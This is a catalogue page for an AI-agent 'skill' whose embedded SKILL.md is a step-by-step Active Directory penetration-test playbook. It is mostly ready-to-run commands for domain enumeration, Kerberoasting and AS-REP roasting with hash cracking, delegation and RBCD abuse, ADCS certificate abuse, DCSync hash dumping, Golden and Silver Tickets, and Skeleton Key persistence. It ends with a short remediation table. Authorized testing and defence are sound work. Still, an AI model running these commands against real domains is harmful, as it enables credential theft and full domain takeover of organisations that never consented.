performing-active-directory-penetration-test
Conduct a focused Active Directory penetration test to enumerate domain objects, discover attack paths with BloodHound, exploit Kerberos weaknesses, escalate privileges via ADCS/DCSync, and demonstrate domain compromise.
Best use case
performing-active-directory-penetration-test is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
Conduct a focused Active Directory penetration test to enumerate domain objects, discover attack paths with BloodHound, exploit Kerberos weaknesses, escalate privileges via ADCS/DCSync, and demonstrate domain compromise.
Teams using performing-active-directory-penetration-test should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/performing-active-directory-penetration-test/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How performing-active-directory-penetration-test Compares
| Feature / Agent | performing-active-directory-penetration-test | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
Conduct a focused Active Directory penetration test to enumerate domain objects, discover attack paths with BloodHound, exploit Kerberos weaknesses, escalate privileges via ADCS/DCSync, and demonstrate domain compromise.
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# Performing Active Directory Penetration Test ## Overview Active Directory (AD) penetration testing targets the central identity and access management system used by over 95% of Fortune 500 companies. The test identifies misconfigurations, weak credentials, dangerous delegation settings, vulnerable certificate templates, and attack paths that enable an attacker to escalate from a standard domain user to Domain Admin or Enterprise Admin. ## When to Use - When conducting security assessments that involve performing active directory penetration test - When following incident response procedures for related security events - When performing scheduled security testing or auditing activities - When validating security controls through hands-on testing ## Prerequisites - Standard domain user credentials (minimum starting point) - Network access to domain controllers (LDAP/389, Kerberos/88, SMB/445, DNS/53) - Tools: BloodHound, Impacket, Certipy, Rubeus, NetExec, Mimikatz - Kali Linux or Windows attack machine with domain access ## Phase 1 — AD Enumeration ### Domain Information Gathering ```bash # Basic domain enumeration netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users # LDAP enumeration — domain controllers ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \ -b "OU=Domain Controllers,DC=corp,DC=local" "(objectClass=computer)" dNSHostName # Enumerate trust relationships netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts # Enumerate domain password policy netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol # Enumerate Group Policy Objects netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords # Find computers with unconstrained delegation ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \ -b "DC=corp,DC=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \ dNSHostName # Find users with constrained delegation ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \ -b "DC=corp,DC=local" "(&(objectCategory=user)(msds-allowedtodelegateto=*))" \ sAMAccountName msds-allowedtodelegateto # Enumerate LAPS netexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps ``` ### BloodHound Attack Path Analysis ```bash # Collect all BloodHound data bloodhound-python -u 'testuser' -p 'Password123' -d corp.local \ -ns 10.0.0.5 -c all --zip # Alternative: SharpHound from Windows .\SharpHound.exe -c All --zipfilename bloodhound_data.zip # Start BloodHound sudo neo4j start bloodhound --no-sandbox # Key Cypher queries in BloodHound: # - Shortest path to Domain Admin # - Find Kerberoastable users # - Find AS-REP Roastable users # - Find users with DCSync rights # - Find shortest path from owned principals # - Find computers where Domain Users are local admin ``` ### Service Account Discovery ```bash # Find service accounts with SPNs (Kerberoastable) impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 # Find accounts without Kerberos pre-authentication impacket-GetNPUsers 'corp.local/' -usersfile domain_users.txt \ -dc-ip 10.0.0.5 -format hashcat # Find managed service accounts ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \ -b "DC=corp,DC=local" "(objectClass=msDS-GroupManagedServiceAccount)" \ sAMAccountName msDS-GroupMSAMembership ``` ## Phase 2 — Kerberos Attacks ### Kerberoasting ```bash # Extract TGS tickets for service accounts impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \ -outputfile kerberoast.txt -request # Crack with Hashcat (mode 13100 for Kerberos 5 TGS-REP etype 23) hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule --force # Targeted Kerberoasting with Rubeus (Windows) .\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_tgs.txt ``` ### AS-REP Roasting ```bash # Target accounts without pre-authentication impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \ -outputfile asrep.txt -format hashcat # Crack AS-REP hashes (mode 18200) hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt ``` ### Kerberos Delegation Attacks ```bash # Unconstrained delegation — extract TGTs from memory # If you compromise a host with unconstrained delegation: .\Rubeus.exe monitor /interval:5 /nowrap # Force authentication from DC using PrinterBug/SpoolSample .\SpoolSample.exe DC01.corp.local YOURHOST.corp.local .\Rubeus.exe ptt /ticket:<base64_ticket> # Constrained delegation — S4U abuse impacket-getST 'corp.local/svc_web:WebPass123' -spn 'CIFS/fileserver.corp.local' \ -dc-ip 10.0.0.5 -impersonate administrator export KRB5CCNAME=administrator.ccache impacket-psexec 'corp.local/administrator@fileserver.corp.local' -k -no-pass # Resource-Based Constrained Delegation (RBCD) impacket-addcomputer 'corp.local/testuser:Password123' -computer-name 'EVIL$' \ -computer-pass 'EvilPass123' -dc-ip 10.0.0.5 python3 rbcd.py -delegate-to 'TARGET$' -delegate-from 'EVIL$' \ -dc-ip 10.0.0.5 'corp.local/testuser:Password123' impacket-getST 'corp.local/EVIL$:EvilPass123' -spn 'CIFS/target.corp.local' \ -impersonate administrator -dc-ip 10.0.0.5 ``` ## Phase 3 — ADCS (Active Directory Certificate Services) Attacks ```bash # Enumerate ADCS with Certipy certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5 \ -vulnerable -stdout # ESC1 — Vulnerable certificate template (enrollee can specify SAN) certipy req -u 'testuser@corp.local' -p 'Password123' \ -target ca.corp.local -ca CORP-CA \ -template VulnerableWebServer -upn administrator@corp.local # Authenticate with the certificate certipy auth -pfx administrator.pfx -dc-ip 10.0.0.5 # ESC4 — Template ACL misconfiguration # Modify template to enable ESC1 conditions, then exploit as above # ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA certipy req -u 'testuser@corp.local' -p 'Password123' \ -target ca.corp.local -ca CORP-CA \ -template User -upn administrator@corp.local # ESC8 — NTLM relay to HTTP enrollment endpoint certipy relay -target 'http://ca.corp.local/certsrv/certfnsh.asp' \ -template DomainController ``` ## Phase 4 — Domain Privilege Escalation ### DCSync Attack ```bash # DCSync — extract all domain hashes (requires replication rights) impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' -just-dc # DCSync specific user impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' \ -just-dc-user krbtgt # With Mimikatz (Windows) mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt ``` ### Golden Ticket ```bash # Create Golden Ticket (requires krbtgt hash and domain SID) impacket-ticketer -nthash <krbtgt_nthash> -domain-sid S-1-5-21-... \ -domain corp.local administrator export KRB5CCNAME=administrator.ccache impacket-psexec 'corp.local/administrator@dc01.corp.local' -k -no-pass # With Mimikatz mimikatz# kerberos::golden /user:administrator /domain:corp.local \ /sid:S-1-5-21-... /krbtgt:<hash> /ptt ``` ### Silver Ticket ```bash # Create Silver Ticket for specific service impacket-ticketer -nthash <service_nthash> -domain-sid S-1-5-21-... \ -domain corp.local -spn MSSQL/sqlserver.corp.local administrator export KRB5CCNAME=administrator.ccache impacket-mssqlclient 'corp.local/administrator@sqlserver.corp.local' -k -no-pass ``` ## Phase 5 — Persistence Demonstration ```bash # Skeleton Key (inject into LSASS — authorized testing only) mimikatz# privilege::debug mimikatz# misc::skeleton # Now any user can authenticate with "mimikatz" as password # AdminSDHolder persistence # Add controlled user to AdminSDHolder ACL # SDProp process propagates ACL to all protected groups every 60 minutes # SID History injection # Inject Domain Admin SID into low-privilege user's SID history # Document all persistence mechanisms and clean up after testing ``` ## Findings and Remediation | Finding | CVSS | Remediation | |---------|------|-------------| | Kerberoastable accounts with weak passwords | 7.5 | Use gMSA, enforce 25+ char passwords for service accounts | | Unconstrained delegation on servers | 8.1 | Remove unconstrained delegation, use constrained or RBCD | | Vulnerable ADCS templates (ESC1-ESC8) | 9.8 | Audit templates, remove dangerous permissions, require approval | | DCSync permissions on non-DA accounts | 9.8 | Audit replication rights, implement tiered admin model | | LLMNR/NBT-NS enabled | 8.1 | Disable via GPO | | No LAPS deployed | 7.2 | Deploy Windows LAPS for local admin management | | Weak domain password policy | 6.5 | Enforce 14+ chars, implement fine-grained password policies | ## References - BloodHound: https://github.com/BloodHoundAD/BloodHound - Impacket: https://github.com/fortra/impacket - Certipy: https://github.com/ly4k/Certipy - HackTricks AD: https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html - SpecterOps AD Security: https://specterops.io/blog/ - MITRE ATT&CK: https://attack.mitre.org/
Related Skills
webapp-testing
Toolkit for interacting with and testing local web applications using
testing-websocket-api-security
Tests WebSocket API implementations for security vulnerabilities including missing authentication on WebSocket upgrade, Cross-Site WebSocket Hijacking (CSWSH), injection attacks through WebSocket messages, insufficient input validation, denial-of-service via message flooding, and information leakage through WebSocket frames. The tester intercepts WebSocket handshakes and messages using Burp Suite, crafts malicious payloads, and tests for authorization bypass on WebSocket channels. Activates for requests involving WebSocket security testing, WS penetration testing, CSWSH attack, or real-time API security assessment.
testing-ransomware-recovery-procedures
Test and validate ransomware recovery procedures including backup restore operations, RTO/RPO target verification, recovery sequencing, and clean restore validation to ensure organizational resilience against destructive ransomware attacks.
testing-oauth2-implementation-flaws
Tests OAuth 2.0 and OpenID Connect implementations for security flaws including authorization code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope escalation, and PKCE bypass. The tester evaluates the authorization server, client application, and token handling for common misconfigurations that enable account takeover or unauthorized access. Activates for requests involving OAuth security testing, OIDC vulnerability assessment, OAuth2 redirect bypass, or authorization code flow testing.
testing-mobile-api-authentication
Tests authentication and authorization mechanisms in mobile application APIs to identify broken authentication, insecure token management, session fixation, privilege escalation, and IDOR vulnerabilities. Use when performing API security assessments against mobile app backends, testing JWT implementations, evaluating OAuth flows, or assessing session management. Activates for requests involving mobile API auth testing, token security assessment, OAuth mobile flow testing, or API authorization bypass.
testing-jwt-token-security
Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.
testing-handbook-generator
Generates comprehensive testing handbooks and guides for security testing strategies.
testing-for-xxe-injection-vulnerabilities
Discovering and exploiting XML External Entity injection vulnerabilities to read server files, perform SSRF, and exfiltrate data during authorized penetration tests.
testing-for-xss-vulnerabilities
Tests web applications for Cross-Site Scripting (XSS) vulnerabilities by injecting JavaScript payloads into reflected, stored, and DOM-based contexts to demonstrate client-side code execution, session hijacking, and user impersonation. The tester identifies all injection points and output contexts, crafts context-appropriate payloads, and bypasses sanitization and CSP protections. Activates for requests involving XSS testing, cross-site scripting assessment, client-side injection testing, or JavaScript injection vulnerability testing.
testing-for-xss-vulnerabilities-with-burpsuite
Identifying and validating cross-site scripting vulnerabilities using Burp Suite's scanner, intruder, and repeater tools during authorized security assessments.
testing-for-xml-injection-vulnerabilities
Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks.
testing-for-sensitive-data-exposure
Identifying sensitive data exposure vulnerabilities including API key leakage, PII in responses, insecure storage, and unprotected data transmission during security assessments.